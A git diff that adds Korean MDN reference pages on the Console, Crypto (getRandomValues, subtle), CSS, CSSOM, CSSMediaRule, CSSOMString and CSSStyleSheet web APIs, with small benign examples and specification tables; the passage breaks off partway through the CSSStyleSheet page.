+<h2 id="인터페이스">인터페이스</h2>
+
+<dl>
+ <dt>{{domxref("console")}}</dt>
+ <dd>로깅, 스택 추적, 타이머, 카운터 등 기초적인 디버깅 기능을 제공합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">let myString = 'Hello world';
+
+// Output "Hello world" to the console
+console.log(myString);</pre>
+
+<p>{{domxref("console")}} 문서의 <a href="/ko/docs/Web/API/Console#예제">예제</a> 항목에서 더 많은 예제를 확인하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Console API')}}</td>
+   <td>{{Spec2('Console API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Console")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Tools">Firefox Developer Tools</a></li>
+ <li><a href="/ko/docs/Tools/Web_Console" title="Web Console">Web Console</a> — how the Web Console in Firefox handles console API calls</li>
+ <li><a href="/ko/docs/Tools/Remote_Debugging">Remote debugging</a> — how to see console output when the debugging target is a mobile device</li>
+</ul>
diff --git a/files/ko/web/api/crypto/getrandomvalues/index.html b/files/ko/web/api/crypto/getrandomvalues/index.html
new file mode 100644
index 0000000000..4bf373c855
--- /dev/null
+++ b/files/ko/web/api/crypto/getrandomvalues/index.html
@@ -0,0 +1,73 @@
+---
+title: Crypto.getRandomValues()
+slug: Web/API/Crypto/getRandomValues
+tags:
+  - API
+  - Cryptography
+  - Method
+  - Reference
+translation_of: Web/API/Crypto/getRandomValues
+---
+<div>{{APIRef("Web Crypto API")}}</div>
+
+<p><code><strong>Crypto.getRandomValues()</strong></code><strong> </strong>함수는 암호학적으로 강력한 수준의 임의의(random) 값을 생성합니다. 매개 변수로 제공된 배열은 임의의 숫자로 채워집니다 (암호화의 의미는 무작위입니다).</p>
+
+<p>충분한 성능을 보장하기 위해 구현에서는 진정한 난수 생성기(pseudo-random number)를 사용하지 않지만 충분한 엔트로피가있는 값으로 시드 된 의사 난수 생성기를 사용하고 있습니다. 사용 된 유사난수 생성기(pseudorandom number generator, PRNG)는 구현마다 다르지만 암호화 용도에 적합합니다. 시스템 수준의 엔트로피 소스처럼 충분한 엔트로피가있는 시드를 사용하려면 구현이 필요합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>cryptoObj</em>.getRandomValues(<em>typedArray</em>);</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code><em>typedArray</em></code></dt>
+ <dd>Is an integer-based {{jsxref("TypedArray")}}, that is an {{jsxref("Int8Array")}}, a {{jsxref("Uint8Array")}}, an {{jsxref("Int16Array")}}, a {{jsxref("Uint16Array")}}, an {{jsxref("Int32Array")}}, or a {{jsxref("Uint32Array")}}. 배열의 모든 요소는 임의의 숫자로 재정의됩니다.</dd>
+</dl>
+
+<h3 id="예외">예외</h3>
+
+<ul>
+ <li>A {{exception("QuotaExceededError")}} {{domxref("DOMException")}} is thrown if the requested length is greater than 65536 bytes.</li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js">/* window.crypto.getRandomValues 를 사용가능하다고 가정한다. */
+
+var array = new Uint32Array(10);
+window.crypto.getRandomValues(array);
+
+console.log("나의 행운의 숫자들:");
+for (var i = 0; i &lt; array.length; i++) {
+    console.log(array[i]);
+}
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Crypto API', '#RandomSource-method-getRandomValues')}}</td>
+   <td>{{Spec2('Web Crypto API')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Crypto.getRandomValues")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{ domxref("Window.crypto") }} to get a {{domxref("Crypto")}} object.</li>
+ <li>{{jsxref("Math.random")}}, a non-cryptographic source of random numbers.</li>
+</ul>
diff --git a/files/ko/web/api/crypto/index.html b/files/ko/web/api/crypto/index.html
new file mode 100644
index 0000000000..759b7c045d
--- /dev/null
+++ b/files/ko/web/api/crypto/index.html
@@ -0,0 +1,35 @@
+---
+title: Crypto
+slug: Web/API/Crypto
+translation_of: Web/API/Crypto
+---
+<p>{{APIRef("Web Crypto API")}}</p>
+
+<p><code><strong>Crypto</strong></code> 인터페이스는 현재 환경에서 사용 가능한 기본적인 암호화 기법을 제공합니다. 이 인터페이스를 통해 암호학적으로 강력한 무작위 숫자 생성기나 암호화에 필요한 기본 요소에 접근할 수 있습니다.</p>
+
+<p>이 인터페이스 객체는 {{domxref("Window.crypto")}} 속성을 통해 웹에서 사용 가능합니다.</p>
+
+<h2 id="속성">속성</h2>
+
+<p><em>이 인터페이스는 {{domxref("RandomSource")}}에 정의된 속성을 구현하고 있습니다.</em></p>
+
+<dl>
+ <dt>{{domxref("Crypto.subtle")}} {{experimental_inline}}{{readOnlyInline}}</dt>
+ <dd>해싱, 서명, 암호화, 복호화같은 암호화 기법에 필요한 공통 요소들에 접근할 수 있는 객체를 반환.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>이 인터페이스는 {{domxref("RandomSource")}}에 정의된 속성을 구현하고 있습니다.</em></p>
+
+<dl>
+ <dt>{{ domxref("RandomSource.getRandomValues()") }}</dt>
+ <dd>넘겨받은 {{ jsxref("TypedArray") }}를 암호학적으로 무작위인 값으로 채움.</dd>
+ <dt>
+ <h2 id="더보기">더보기</h2>
+
+ <ul>
+  <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+ </ul>
+ </dt>
+</dl>
diff --git a/files/ko/web/api/crypto/subtle/index.html b/files/ko/web/api/crypto/subtle/index.html
new file mode 100644
index 0000000000..a3e0e6e40c
--- /dev/null
+++ b/files/ko/web/api/crypto/subtle/index.html
@@ -0,0 +1,36 @@
+---
+title: Crypto.subtle
+slug: Web/API/Crypto/subtle
+translation_of: Web/API/Crypto/subtle
+---
+<div>{{APIRef("Web Crypto API")}}</div>
+
+<p><strong><code>Crypto.subtle</code></strong> 은 읽기전용 속성이며 암호화 기법을 수행할 수 있는 {{domxref("SubtleCrypto")}} 객체를 반환합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{ SpecName('Web Crypto API', '#dfn-Crypto', 'Crypto.subtle') }}</td>
+   <td>{{ Spec2('Web Crypto API') }}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Crypto.subtle")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("Crypto")}}.</li>
+ <li>{{domxref("SubtleCrypto")}}.</li>
+</ul>
diff --git a/files/ko/web/api/css/index.html b/files/ko/web/api/css/index.html
new file mode 100644
index 0000000000..1b36fb9573
--- /dev/null
+++ b/files/ko/web/api/css/index.html
@@ -0,0 +1,81 @@
+---
+title: CSS
+slug: Web/API/CSS
+tags:
+  - API
+  - CSSOM
+  - Interface
+  - Painting
+  - Reference
+translation_of: Web/API/CSS
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p><code><strong>CSS</strong></code> 인터페이스는 유용한 CSS 관련 메서드를 가집니다. <code>CSS</code> 인터페이스는 정적 속성과 메서드만 가지고 있으며 아무런 객체도 <code>CSS</code> 인터페이스를 구현하지 않습니다. </p>
+
+<h2 id="속성">속성</h2>
+
+<p><em>CSS 인터페이스는 유틸리티 인터페이스이며, 이러한 형식의 어떠한 객체도 만들수 없으며 오직 정적 속성으로만 정의할 수 있습니다.</em></p>
+
+<h3 id="정적_속성">정적 속성</h3>
+
+<dl>
+ <dt>{{domxref("CSS.paintWorklet")}} {{experimental_inline}} {{SecureContext_Inline}}</dt>
+ <dd>페인팅(painting)에 관련된 모든 클래스를 지닌 워크렛(worklet)에 접근할 수 있습니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<h3 id="정적_메서드">정적 메서드</h3>
+
+<dl>
+ <dt>{{domxref("CSS.registerProperty()")}}</dt>
+ <dd><a href="/ko/docs/Web/CSS/--*">사용자 지정 CSS 속성</a>을 등록하고 속성 자료형 검사, 기본값, 상속 여부 등을 설정할 수 있습니다.</dd>
+ <dt>{{domxref("CSS.supports()")}}</dt>
+ <dd>매개변수로 주어진 속성-값 쌍 또는 조건의 지원 여부를 나타내는 {{jsxref("Boolean")}}을 반환합니다.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("CSS.escape()")}} {{experimental_inline}}</dt>
+ <dd>CSS 선택자로 사용할 문자열을 이스케이프해서 반환합니다.</dd>
+ <dt>{{domxref("CSS.factory_functions", "CSS 팩토리 함수", "", 1)}}</dt>
+ <dd>매개변수로 지정한 값을 담은 새로운 {{domxref("CSSUnitValue")}}를 생성합니다. 단위는 팩토리 함수의 이름입니다.</dd>
+ <dd>
+ <pre class="notranslate">CSS.em(3) // CSSUnitValue {value: 3, unit: "em"}</pre>
+ </dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS Painting API','#dom-css-paintworklet','paintWorklet')}}</td>
+   <td>{{Spec2('CSS Painting API')}}</td>
+   <td><code>paintWorklet</code> 정적 속성 추가</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM', '#the-css.escape()-method', 'CSS')}}</td>
+   <td>{{Spec2('CSSOM')}}</td>
+   <td><code>escape()</code> 정적 메서드 추가</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Conditional', '#the-css-interface', 'CSS')}}</td>
+   <td>{{Spec2('CSS3 Conditional')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지에 호환성 표는 구조화된 데이터에서 생성됩니다. 만약 이 데이터에 공헌하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 확인한 다음에 요청을 보내주십시오.</div>
+
+<p>{{Compat("api.CSS")}}</p>
diff --git a/files/ko/web/api/css_object_model/index.html b/files/ko/web/api/css_object_model/index.html
new file mode 100644
index 0000000000..53ffb2439a
--- /dev/null
+++ b/files/ko/web/api/css_object_model/index.html
@@ -0,0 +1,189 @@
+---
+title: CSS 객체 모델 (CSSOM)
+slug: Web/API/CSS_Object_Model
+tags:
+  - API
+  - CSSOM
+  - Overview
+  - Reference
+translation_of: Web/API/CSS_Object_Model
+---
+<p>{{DefaultAPISidebar('CSSOM')}}</p>
+
+<p><strong>CSS Object Model</strong>은 JavaScript에서 CSS를 조작할 수 있는 API 집합입니다. HTML 대신 CSS가 대상인 DOM이라고 생각할 수 있으며, 사용자가 CSS 스타일을 동적으로 읽고 수정할 수 있는 방법입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("AnimationEvent")}}</li>
+ <li>{{DOMxRef("CaretPosition")}}</li>
+ <li>{{DOMxRef("CSS")}}</li>
+ <li>{{DOMxRef("CSSCharsetRule")}}</li>
+ <li>{{DOMxRef("CSSConditionRule")}}</li>
+ <li>{{DOMxRef("CSSCounterStyleRule")}}</li>
+ <li>{{DOMxRef("CSSFontFaceRule")}}</li>
+ <li>{{DOMxRef("CSSFontFeatureValuesMap")}}</li>
+ <li>{{DOMxRef("CSSFontFeatureValuesRule")}}</li>
+ <li>{{DOMxRef("CSSGroupingRule")}}</li>
+ <li>{{DOMxRef("CSSImportRule")}}</li>
+ <li>{{DOMxRef("CSSKeyframeRule")}}</li>
+ <li>{{DOMxRef("CSSKeyframesRule")}}</li>
+ <li>{{DOMxRef("CSSMarginRule")}}</li>
+ <li>{{DOMxRef("CSSMediaRule")}}</li>
+ <li>{{DOMxRef("CSSNamespaceRule")}}</li>
+ <li>{{DOMxRef("CSSPageRule")}}</li>
+ <li>{{DOMxRef("CSSRule")}}</li>
+ <li>{{DOMxRef("CSSRuleList")}}</li>
+ <li>{{DOMxRef("CSSStyleDeclaration")}}</li>
+ <li>{{DOMxRef("CSSStyleSheet")}}</li>
+ <li>{{DOMxRef("CSSStyleRule")}}</li>
+ <li>{{DOMxRef("CSSSupportsRule")}}</li>
+ <li>{{DOMxRef("CSSVariablesMap")}}</li>
+ <li>{{DOMxRef("CSSViewportRule")}}</li>
+ <li>{{DOMxRef("ElementCSSInlineStyle")}}</li>
+ <li>{{DOMxRef("FontFace")}}</li>
+ <li>{{DOMxRef("FontFaceSet")}}</li>
+ <li>{{DOMxRef("FontFaceSetLoadEvent")}}</li>
+ <li>{{DOMxRef("GeometryUtils")}}</li>
+ <li>{{DOMxRef("GetStyleUtils")}}</li>
+ <li>{{DOMxRef("LinkStyle")}}</li>
+ <li>{{DOMxRef("MediaList")}}</li>
+ <li>{{DOMxRef("MediaQueryList")}}</li>
+ <li>{{DOMxRef("MediaQueryListEvent")}}</li>
+ <li>{{DOMxRef("MediaQueryListListener")}}</li>
+ <li>{{DOMxRef("Screen")}}</li>
+ <li>{{DOMxRef("StyleSheet")}}</li>
+ <li>{{DOMxRef("StyleSheetList")}}</li>
+ <li>{{DOMxRef("TransitionEvent")}}</li>
+</ul>
+</div>
+
+<p>여러 다른 인터페이스도 CSSOM-related 규격에 의해 확장됩니다 : {{domxref("Document")}}, {{domxref("Window")}}, {{domxref("Element")}}, {{domxref("HTMLElement")}}, {{domxref("HTMLImageElement")}}, {{domxref("Range")}}, {{domxref("MouseEvent")}}, and {{domxref("SVGElement")}}.</p>
+
+<h3 id="CSS_Typed_Object_Model" name="CSS_Typed_Object_Model">CSS 자료형 객체 모델 {{experimental_inline}}</h3>
+
+<p>{{SeeCompatTable}}</p>
+
+<div class="index">
+<ul>
+ <li>{{DOMxRef("CSSImageValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSKeywordValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathInvert")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathMax")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathMin")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathNegate")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathProduct")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathSum")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMathValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSMatrixComponent")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSNumericArray")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSNumericValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSPerspective")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSPositionValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSRotate")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSScale")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSSkew")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSSkewX")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSSkewY")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSStyleValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSTransformComponent")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSTransformValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSTranslate")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSUnitValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSUnparsedValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("CSSVariableReferenceValue")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("StylePropertyMap")}} {{Experimental_Inline}}</li>
+ <li>{{DOMxRef("StylePropertyMapReadOnly")}} {{Experimental_Inline}}</li>
+</ul>
+</div>
+
+<h2 id="자습서">자습서</h2>
+
+<ul>
+ <li><a href="/ko/docs/WebAPI/Managing_screen_orientation">화면 방향 관리</a></li>
+</ul>
+
+<h2 id="명세서">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Typed OM")}}</td>
+   <td>{{Spec2("CSS Typed OM")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS Painting API")}}</td>
+   <td>{{Spec2("CSS Painting API")}}</td>
+   <td>Extended the {{DOMxRef("CSS")}} interface with the {{DOMxRef("CSS.paintWorklet","paintWorklet")}} static property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View")}}</td>
+   <td>{{Spec2("CSSOM View")}}</td>
+   <td>Defined the {{DOMxRef("Screen")}} and {{DOMxRef("MediaQueryList")}} interfaces and the {{DOMxRef("MediaQueryListEvent")}} event and {{DOMxRef("MediaQueryListListener")}} event listener.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td>Extended the {{DOMxRef("CSS")}} interface and provides the base for the modern CSSOM specification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Screen Orientation")}}</td>
+   <td>{{Spec2("Screen Orientation")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Fonts")}}</td>
+   <td>{{Spec2("CSS3 Fonts")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Animations")}}</td>
+   <td>{{Spec2("CSS3 Animations")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Transitions")}}</td>
+   <td>{{Spec2("CSS3 Transitions")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Variables")}}</td>
+   <td>{{Spec2("CSS3 Variables")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Conditional")}}</td>
+   <td>{{Spec2("CSS3 Conditional")}}</td>
+   <td>Defined the {{DOMxRef("CSS")}} interface.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Device")}}</td>
+   <td>{{Spec2("CSS3 Device")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Counter Styles")}}</td>
+   <td>{{Spec2("CSS3 Counter Styles")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 Style")}}</td>
+   <td>{{Spec2("DOM2 Style")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/API/Document_Object_Model">문서 객체 모델 (DOM)</a></li>
+ <li><a href="/ko/docs/Web/Houdini/">CSS Houdini</a></li>
+</ul>
diff --git a/files/ko/web/api/cssmediarule/index.html b/files/ko/web/api/cssmediarule/index.html
new file mode 100644
index 0000000000..b386fbb083
--- /dev/null
+++ b/files/ko/web/api/cssmediarule/index.html
@@ -0,0 +1,70 @@
+---
+title: CSSMediaRule
+slug: Web/API/CSSMediaRule
+tags:
+  - API
+  - CSSOM
+  - Interface
+  - Reference
+translation_of: Web/API/CSSMediaRule
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p><span class="seoSummary"><strong><code>CSSMediaRule</code></strong> 인터페이스는 하나의 CSS {{cssxref("@media")}} 규칙을 나타냅니다.</span> {{domxref("CSSConditionRule")}} 인터페이스를 구현하므로, {{domxref("CSSGroupingRule")}}과 {{domxref("CSSRule")}} 인터페이스도 유형값 <code>4</code> (<code>CSSRule.MEDIA_RULE</code>)로 구현합니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<p><a href="https://heycam.github.io/webidl/" title="http://dev.w3.org/2006/webapi/WebIDL/">WebIDL</a> 형식을 사용해 서술합니다.</p>
+
+<pre class="syntaxbox">interface CSSMediaRule : CSSConditionRule {
+    readonly attribute MediaList media;
+}
+</pre>
+
+<h2 id="속성">속성</h2>
+
+<p><code>CSSMediaRule</code>은 {{domxref("CSSConditionRule")}}, 그리고 {{domxref("CSSGroupingRule")}}와 {{domxref("CSSRule")}}로서 해당 인터페이스의 속성을 구현합니다. 다음과 같은 자체 속성을 가집니다.</p>
+
+<dl>
+ <dt>{{domxref("CSSMediaRule.media")}} {{readonlyinline}}</dt>
+ <dd>스타일 정보를 적용할 매체 정보를 나타내는 {{domxref("MediaList")}}입니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<p><code>CSSMediaRule</code>은 {{domxref("CSSConditionRule")}}, 그리고 {{domxref("CSSGroupingRule")}}와 {{domxref("CSSRule")}}로서 해당 인터페이스의 메서드를 구현합니다. 자체 메서드는 가지지 않습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Conditional', '#the-cssmediarule-interface', 'CSSMediaRule') }}</td>
+   <td>{{ Spec2('CSS3 Conditional')}}</td>
+   <td>Make it derived from the {{domxref("CSSConditionRule")}}.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSSOM', '#the-cssmediarule-interface', 'CSSMediaRule') }}</td>
+   <td>{{ Spec2('CSSOM') }}</td>
+   <td>No changes from {{SpecName('DOM2 Style')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Style', 'css.html#CSS-CSSMediaRule', 'CSSMediaRule') }}</td>
+   <td>{{ Spec2('DOM2 Style') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.CSSMediaRule")}}</p>
diff --git a/files/ko/web/api/cssomstring/index.html b/files/ko/web/api/cssomstring/index.html
new file mode 100644
index 0000000000..d7366af22e
--- /dev/null
+++ b/files/ko/web/api/cssomstring/index.html
@@ -0,0 +1,73 @@
+---
+title: CSSOMString
+slug: Web/API/CSSOMString
+tags:
+  - API
+  - CSSOM
+  - 레퍼런스
+translation_of: Web/API/CSSOMString
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>CSSOMString</code></strong> 은 <a href="/ko/docs/Web/API/CSS_Object_Model">CSSOM</a> 명세로 문자형 데이터를 나타내기위해 사용되며 {{domxref("DOMString")}} 또는 {{domxref("USVString")}} 을 참조할 수 있습니다. 명세의 <code>CSSOMString</code> 은 브라우저 공급 업체가 <code>DOMString</code> 과 <code>USVString</code> 중 사용하도록 선택한 것에 따라 결정됩니다. 메모리에 문자열을 표현하기 위해 내부적으로 UTF-8을 사용하도록 구현된 브라우저는 명세에서 <code>CSSOMString</code> 이 나타날 때 <code>USVString</code> 을 사용할 수 있지만, 이미 16 비트 시퀀스로 표현된 문자열은 <code>DOMString</code> 을 사용하도록 대신 선택될 것입니다.</p>
+
+<h4 id="구현_차이점">구현 차이점</h4>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">브라우저</td>
+   <td class="header">CSSOMString 를 위한 DOMString 또는 USVString</td>
+  </tr>
+  <tr>
+   <td>Firefox (Gecko)</td>
+   <td>USVString</td>
+  </tr>
+  <tr>
+   <td>Chrome (Blink)</td>
+   <td>USVString</td>
+  </tr>
+  <tr>
+   <td>Safari (WebKit)</td>
+   <td>USVString</td>
+  </tr>
+  <tr>
+   <td>Edge (EdgeHTML)</td>
+   <td>-</td>
+  </tr>
+  <tr>
+   <td>Opera (Blink)</td>
+   <td>USVString</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">코멘트</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSSOM', '#cssomstring-type', 'CSSOMString')}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td>초기 정의.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/String", "String")}}</li>
+ <li>{{domxref("CSS_Object_Model", "CSSOM")}}</li>
+ <li>{{domxref("DOMString")}}</li>
+ <li>{{domxref("USVString")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/String_view">StringView"</a> – a C-like representation of strings based on typed arrays</li>
+ <li><a href="/ko/docs/Web/API/DOMString/Binary">바이너리 문자열</a></li>
+</ul>
diff --git a/files/ko/web/api/cssstylesheet/index.html b/files/ko/web/api/cssstylesheet/index.html
new file mode 100644
index 0000000000..08723ac9ba
--- /dev/null
+++ b/files/ko/web/api/cssstylesheet/index.html
@@ -0,0 +1,139 @@
+---
+title: CSSStyleSheet
+slug: Web/API/CSSStyleSheet
+tags:
+  - API
+  - CSSOM
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+translation_of: Web/API/CSSStyleSheet
+---
+<div>{{APIRef("CSSOM")}}</div>
+
+<p>The <strong><code>CSSStyleSheet</code></strong> interface represents a single <a href="/en-US/docs/Web/CSS">CSS</a> style sheet. It inherits properties and methods from its parent, {{domxref("StyleSheet")}}.</p>
+
+<p>A style sheet consists of <em>{{domxref("CSSRule", "rules", "", 1)}}</em>, such as <em>{{domxref("CSSStyleRule", "style rules", "", 1)}}</em><em> </em>("<code>h1,h2 { font-size: 16pt }"</code>), various <em>at-rules</em> (<code>@import</code>, <code>@media</code>, ...), etc. This interface lets you inspect and modify the list of rules in the stylesheet.</p>
+
+<p>See the {{anch("Notes")}} section for the various ways a CSSStyleSheet object can be obtained.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("StyleSheet")}}.</em></p>
+
+<dl>
+ <dt id="cssRules">{{domxref("CSSStyleSheet.cssRules")}}</dt>
+ <dd>Returns a live {{domxref("CSSRuleList")}}, listing the {{domxref("CSSRule")}} objects in the style sheet.<br>
+ This is normally used to access individual rules like this:
+ <pre><code>   styleSheet.cssRules[i] // where i = 0..cssRules.length-1</code></pre>
+ To add or remove items in <code>cssRules</code>, use the <code>CSSStyleSheet</code>'s <code>deleteRule()</code> and <code>insertRule()</code> methods, described below.</dd>
+ <dt id="ownerRule">{{domxref("CSSStyleSheet.ownerRule")}}</dt>
+ <dd>If this style sheet is imported into the document using an {{cssxref("@import")}} rule, the <code>ownerRule</code> property will return that {{domxref("CSSImportRule")}}, otherwise it returns <code>null</code>.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("Stylesheet")}}.</em></p>
+
+<dl>
+ <dt id="deleteRule">{{domxref("CSSStyleSheet.deleteRule()")}}</dt>
+ <dd>Deletes a rule at the specified position from the style sheet.</dd>
+ <dt id="insertRule">{{domxref("CSSStyleSheet.insertRule()")}}</dt>
+ <dd>Inserts a new rule at the specified position in the style sheet, given the textual representation of the rule.</dd>
+</dl>
+
+<h2 id="Notes">Notes</h2>
+
+<p>In some browsers, if a stylesheet is loaded from a different domain, calling <code>cssRules</code> results in <code>SecurityError</code>.</p>
+
+<p>A stylesheet is associated with at most one {{domxref("Document")}}, which it applies to (unless {{domxref("StyleSheet.disabled", "disabled", "", 1)}}). A list of <code>CSSStyleSheet</code> objects for a given document can be obtained using the {{domxref("document.styleSheets")}} property. A specific style sheet can also be accessed from its <em>owner</em> object (<code>Node</code> or <code>CSSImportRule</code>), if any.</p>
+
+<p>A <code>CSSStyleSheet</code> object is created and inserted into the document's <code>styleSheets</code> list automatically by the browser, when a style sheet is loaded for a document. As the {{domxref("document.styleSheets")}} list cannot be modified directly, there's no useful way to create a new <code>CSSStyleSheet</code> object manually (although <a href="https://wicg.github.io/construct-stylesheets/">Constructable Stylesheet Objects</a> is coming to the web platform soon and is already supported in Blink). To create a new stylesheet, insert a {{HTMLElement("style")}} or {{HTMLElement("link")}} element into the document.</p>
+
+<p>A (possibly incomplete) list of ways a style sheet can be associated with a document follows:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Reason for the style sheet to be associated with the document</th>
+   <th scope="col">Appears in <code>document.<br>
+    styleSheets</code> list</th>
+   <th scope="col">Getting the owner element/rule given the style sheet object</th>
+   <th scope="col">The interface for the owner object</th>
+   <th scope="col">Getting the CSSStyleSheet object from the owner</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
